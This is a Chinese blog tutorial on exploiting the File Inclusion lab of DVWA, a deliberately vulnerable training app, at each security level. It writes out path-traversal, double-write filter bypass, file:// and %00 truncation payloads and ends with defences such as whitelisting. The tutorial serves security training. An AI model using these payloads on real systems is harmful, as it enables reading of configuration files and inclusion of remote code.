【工具-DVWA】DVWA渗透系列四:File Inclusion

前言

DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用

本渗透系列包含最新DVWA的14个渗透测试样例:

1.Brute Force(暴力破解)                    
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)                        
4.File Inclusion(文件包含)
5.File Upload(文件上传)                    
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)                    
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)                
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)                    
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)    
14.JavaScript​​​​​​​

安全级别分低、中、高、安全四个级别来分析File Inclusion的渗透测试过程。

去除红框内容,请看:【工具-DVWA】DVWA的问题(BurpSuite无法拦截、乱码、永远Impossible、allow_url_include等)

1 基础知识

  • File Inclusion-文件包含(漏洞)

就是存在可以任意访问文件的入口,可能会照成文件泄露或恶意代码执行。如:当PHP开启allow_url_include和allow_url_fopen(远程包含)时,php的某些特性函数(include(),require()和include_once(),require_once())可以利用url去动态包含文件。

2 Low

2.1 渗透测试

  • 尝试在页面前面添加../,代表访问上级路径下的include.php,发现有错误提示,从中可知,当前操作系统为Windows,且得知当前访问网站路径为:D:\wamp\www\DVWA-master\vulnerabilities

  • 尝试访问mysql的配置文件my.ini:

page=../../../../bin/mysql/mysql5.5.20/my.ini或page=D:/wamp/bin/mysql/mysql5.5.20/my.ini

  • 远程文件访问:page=http://10.11.37.52/?phpinfo=1,可以用于跨域访问威胁文件。

PS:相当于可以访问任何文件,危害极大

2.2 源码分析

low.php:非常简单,0过滤

$file = $_GET[ 'page' ];

3 Medium+High

两种都是过滤的方式,而且安全级别都很低。

3.1 源码分析

  • Medium:将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
  • High:要求page参数的开头必须是file
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

3.2 渗透测试

  • Medium

双写绕过替换:替换之后刚好是正常的。

page=hthttp://tp://10.11.37.52/?phpinfo=1

page=..././..././..././..././bin/mysql/mysql5.5.20/my.ini

  • High

http的确实绕不过,但是file协议,本地访问还是无碍的:page=file://D:/wamp/bin/mysql/mysql5.5.20/my.ini

PS:如限制文件必须是PHP文件时,咋办?php版本小于5.3.4时,Magic_quote_gpc选项为off时,%00后的内容不会被识别,那么我们可以在请求文件末尾添加%00abc.php,来避免文件后缀的过滤,同时又不干扰文件访问。

4 Impossible

源码分析:采用白名单机制,仅允许访问指定的文件。完美!

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

5 总结

文件包含漏洞利用:

  • 双检查绕过替换规则
  • 大小写绕过,URL编码绕过,%00截断绕过效验规则
  • 采用黑名单外的协议访问
  • 任何包含文件访问的地方,比如图片等,都可以用于测试

文件包含漏洞预防:

  • 多(2-3)次替换检查
  • 路径检测【./】,包含直接丢弃请求,不用替换
  • 白名单检查(强力推荐)

爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

发布了96 篇原创文章 · 获赞 237 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/qqchaozai/article/details/102683634